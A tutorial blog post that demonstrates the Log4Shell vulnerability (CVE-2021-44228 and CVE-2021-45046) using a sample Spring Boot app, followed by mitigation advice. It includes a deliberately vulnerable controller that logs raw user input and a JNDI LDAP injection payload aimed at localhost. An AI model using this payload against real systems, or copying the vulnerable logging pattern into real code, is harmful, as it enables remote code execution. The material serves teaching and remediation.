Now, most Java developers are busy mitigating Apache Log4j2 Vulnerability (CVE-2021-44228 and CVE-2021-45046). Applications are literally on fire. Here, I have created a sample project using Spring Boot and Log4j2 to demonstrate (Video Demo) the vulnerability and possible remediation. Please take a look in case if you are curious.

What is the famous Apache Log4j2 Vulnerability?

Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046

Apache Log4j2 versions 2.0-alpha1 through 2.16.0 (excluding 2.12.3) did not protect from uncontrolled recursion from self-referential lookups. This allows an attacker with control over Thread Context Map data to cause a denial of service when a crafted string is interpreted. This issue was fixed in Log4j 2.17.0 and 2.12.3.

Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046

It was found that the fix to address CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations. This could allows attackers with control over Thread Context Map (MDC) input data when the logging configuration uses a non-default Pattern Layout with either a Context Lookup (for example, $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC) to craft malicious input data using a JNDI Lookup pattern resulting in a denial of service (DOS) attack. Log4j 2.15.0 makes a best-effort attempt to restrict JNDI LDAP lookups to localhost by default. Log4j 2.16.0 fixes this issue by removing support for message lookup patterns and disabling JNDI functionality by default.

Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228

Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. In previous releases (>2.10) this behavior can be mitigated by setting system property "log4j2.formatMsgNoLookups" to “true” or by removing the JndiLookup class from the classpath (example: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class). Java 8u121 (see https://www.oracle.com/java/technologies/javase/8u121-relnotes.html) protects against remote code execution by defaulting "com.sun.jndi.rmi.object.trustURLCodebase" and "com.sun.jndi.cosnaming.object.trustURLCodebase" to "false".

Reproduce:

  1. Create a Spring Boot project (Gradle) using https://start.spring.io/ or Spring STS IDE.
  2. Exclude the default logging module and use spring-boot-starter-log4j2 in build.gradle file.
plugins {
	id 'org.springframework.boot' version '2.5.7'
	id 'io.spring.dependency-management' version '1.0.11.RELEASE'
	id 'java'
}

group = 'com.srccodes'
version = '0.0.1-SNAPSHOT'
sourceCompatibility = '1.8'

repositories {
	mavenCentral()
}

dependencies {
	implementation ('org.springframework.boot:spring-boot-starter-web') {
		exclude group: 'org.springframework.boot', module: 'spring-boot-starter-logging'
	}
	
	implementation 'org.springframework.boot:spring-boot-starter-log4j2:2.6.1'	
	testImplementation 'org.springframework.boot:spring-boot-starter-test'
}

test {
	useJUnitPlatform()
}
  1. Sample code for SpringBootApplication
package com.srccodes.app;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

@SpringBootApplication
public class Log4jVulnApplication {

	public static void main(String[] args) {
		SpringApplication.run(Log4jVulnApplication.class, args);

	}

}
  1. Sample code for RestController that exposes an endpoint (say /vuln) which takes input (say request parametr userInput) from end user.
package com.srccodes.app;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class TestController {
	private static final Logger LOGGER = LogManager.getLogger(TestController.class);
	
	@GetMapping("/vuln")
	public String test(@RequestParam("userInput") String userInput) {
		LOGGER.info("User Input:" + userInput);
		
		return "{}";
	}

}
  1. Now, start the SpringBoot apllication and pass ${jndi:ldap://127.0.0.1:3089/} (URL Encoded: %24%7Bjndi%3Aldap%3A%2F%2F127.0.0.1%3A3089%2F%7D) to exploit the vulnerability. And you will see, it will try to connect to LDAP using JNDI look up ("...looking up JNDI resource [ldap://127.0.0.1:3089/]..."). And sure enough, it will fail as LDAP server is not running in my local.
2021-12-12 13:01:17.174  INFO 26872 --- [nio-8080-exec-1] o.a.c.c.C.[.[.[/]                        : Initializing Spring DispatcherServlet 'dispatcherServlet'
2021-12-12 13:01:17.175  INFO 26872 --- [nio-8080-exec-1] o.s.w.s.DispatcherServlet                : Initializing Servlet 'dispatcherServlet'
2021-12-12 13:01:17.176  INFO 26872 --- [nio-8080-exec-1] o.s.w.s.DispatcherServlet                : Completed initialization in 1 ms
2021-12-12 13:01:17,221 http-nio-8080-exec-1 WARN Error looking up JNDI resource [ldap://127.0.0.1:3089/]. javax.naming.CommunicationException: 127.0.0.1:3089 [Root exception is java.net.ConnectException: Connection refused: connect]
	at java.naming/com.sun.jndi.ldap.Connection.<init>(Connection.java:253)
	at java.naming/com.sun.jndi.ldap.LdapClient.<init>(LdapClient.java:137)
	at java.naming/com.sun.jndi.ldap.LdapClient.getInstance(LdapClient.java:1616)
	at java.naming/com.sun.jndi.ldap.LdapCtx.connect(LdapCtx.java:2848)
	at java.naming/com.sun.jndi.ldap.LdapCtx.<init>(LdapCtx.java:348)
	at java.naming/com.sun.jndi.url.ldap.ldapURLContextFactory.getUsingURLIgnoreRootDN(ldapURLContextFactory.java:60)
	at java.naming/com.sun.jndi.url.ldap.ldapURLContext.getRootURLContext(ldapURLContext.java:61)
	at java.naming/com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:204)
	at java.naming/com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94)
	at java.naming/javax.naming.InitialContext.lookup(InitialContext.java:409)
	at org.apache.logging.log4j.core.net.JndiManager.lookup(JndiManager.java:172)
	at org.apache.logging.log4j.core.lookup.JndiLookup.lookup(JndiLookup.java:56)
	at org.apache.logging.log4j.core.lookup.Interpolator.lookup(Interpolator.java:221)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.resolveVariable(StrSubstitutor.java:1110)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1033)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.replace(StrSubstitutor.java:467)
	at org.apache.logging.log4j.core.pattern.MessagePatternConverter.format(MessagePatternConverter.java:132)
	at org.apache.logging.log4j.core.pattern.PatternFormatter.format(PatternFormatter.java:38)
	at org.apache.logging.log4j.core.layout.PatternLayout$PatternSerializer.toSerializable(PatternLayout.java:344)
	at org.apache.logging.log4j.core.layout.PatternLayout.toText(PatternLayout.java:244)
	at org.apache.logging.log4j.core.layout.PatternLayout.encode(PatternLayout.java:229)
	at org.apache.logging.log4j.core.layout.PatternLayout.encode(PatternLayout.java:59)
	at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.directEncodeEvent(AbstractOutputStreamAppender.java:197)
	at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.tryAppend(AbstractOutputStreamAppender.java:190)
	at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.append(AbstractOutputStreamAppender.java:181)
	at org.apache.logging.log4j.core.config.AppenderControl.tryCallAppender(AppenderControl.java:156)
	at org.apache.logging.log4j.core.config.AppenderControl.callAppender0(AppenderControl.java:129)
	at org.apache.logging.log4j.core.config.AppenderControl.callAppenderPreventRecursion(AppenderControl.java:120)
	at org.apache.logging.log4j.core.config.AppenderControl.callAppender(AppenderControl.java:84)
	at org.apache.logging.log4j.core.config.LoggerConfig.callAppenders(LoggerConfig.java:540)
	at org.apache.logging.log4j.core.config.LoggerConfig.processLogEvent(LoggerConfig.java:498)
	at org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:481)
	at org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:456)
	at org.apache.logging.log4j.core.config.AwaitCompletionReliabilityStrategy.log(AwaitCompletionReliabilityStrategy.java:82)
	at org.apache.logging.log4j.core.Logger.log(Logger.java:161)
	at org.apache.logging.log4j.spi.AbstractLogger.tryLogMessage(AbstractLogger.java:2205)
	at org.apache.logging.log4j.spi.AbstractLogger.logMessageTrackRecursion(AbstractLogger.java:2159)
	at org.apache.logging.log4j.spi.AbstractLogger.logMessageSafely(AbstractLogger.java:2142)
	at org.apache.logging.log4j.spi.AbstractLogger.logMessage(AbstractLogger.java:2017)
	at org.apache.logging.log4j.spi.AbstractLogger.logIfEnabled(AbstractLogger.java:1983)
	at org.apache.logging.log4j.spi.AbstractLogger.info(AbstractLogger.java:1320)
	at com.srccodes.app.TestController.test(TestController.java:15)
	at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77)
	at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.base/java.lang.reflect.Method.invoke(Method.java:568)
	at org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:205)
	at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:150)
	at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:117)
	at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:895)
	at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:808)
	at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:87)
	at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1067)
	at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:963)
	at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1006)
	at org.springframework.web.servlet.FrameworkServlet.doGet(FrameworkServlet.java:898)
	at javax.servlet.http.HttpServlet.service(HttpServlet.java:655)
	at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:883)
	at javax.servlet.http.HttpServlet.service(HttpServlet.java:764)
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:227)
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
	at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
	at org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100)
	at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:119)
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
	at org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93)
	at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:119)
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
	at org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:201)
	at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:119)
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
	at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:197)
	at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:97)
	at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:540)
	at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:135)
	at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92)
	at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:78)
	at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:357)
	at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:382)
	at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65)
	at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:895)
	at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1722)
	at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
	at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1191)
	at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
	at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
	at java.base/java.lang.Thread.run(Thread.java:833)
Caused by: java.net.ConnectException: Connection refused: connect
	at java.base/sun.nio.ch.Net.connect0(Native Method)
	at java.base/sun.nio.ch.Net.connect(Net.java:579)
	at java.base/sun.nio.ch.Net.connect(Net.java:568)
	at java.base/sun.nio.ch.NioSocketImpl.connect(NioSocketImpl.java:588)
	at java.base/java.net.SocksSocketImpl.connect(SocksSocketImpl.java:327)
	at java.base/java.net.Socket.connect(Socket.java:633)
	at java.base/java.net.Socket.connect(Socket.java:583)
	at java.base/java.net.Socket.<init>(Socket.java:507)
	at java.base/java.net.Socket.<init>(Socket.java:287)
	at java.naming/com.sun.jndi.ldap.Connection.createSocket(Connection.java:346)
	at java.naming/com.sun.jndi.ldap.Connection.<init>(Connection.java:232)
	... 92 more

2021-12-12 13:01:17.202  INFO 26872 --- [nio-8080-exec-1] c.s.a.TestController                     : User Input:${jndi:ldap://127.0.0.1:3089/}

Video Demo:

Mitigation:

No action is required for Log4j 1.x. It is not impacted by vulnerabilities CVE-2021-45046, CVE-2021-44228 and CVE-2021-45105.

For Log4j 2.x,

Implement one of the mitigation techniques below.

  • Java 8 (or later) users should upgrade to release 2.17.0.

Alternatively, this can be mitigated in configuration:

  • In PatternLayout in the logging configuration, replace Context Lookups like ${ctx:loginId} or $${ctx:loginId} with Thread Context Map patterns (%X, %mdc, or %MDC).
  • Otherwise, in the configuration, remove references to Context Lookups like ${ctx:loginId} or $${ctx:loginId} where they originate from sources external to the application such as HTTP headers or user input.

Note that only the log4j-core JAR file is impacted by this vulnerability. Applications using only the log4j-api JAR file without the log4j-core JAR file are not impacted by this vulnerability.

Also note that Apache Log4j is the only Logging Services subproject affected by this vulnerability. Other projects like Log4net and Log4cxx are not impacted by this.

Reference: https://logging.apache.org/log4j/2.x/security.html

References

, Apache Log4j2 , Log4j2 Vulnerability , CVE-2021-4428 , Security Vulnerability , Spring Boot , Log4j2 , Log4jShell , Remote Code Execution , JNDI Lookup , LDAP Server , formatMsgNoLookups , JndiLookup class , trustUrlCodebase , mitre , Security Breach , Demo , CVE-2021-45046 , Log4j v2.16.0 , Log4j 2.12.2 , Log4j v2.15.0 , classic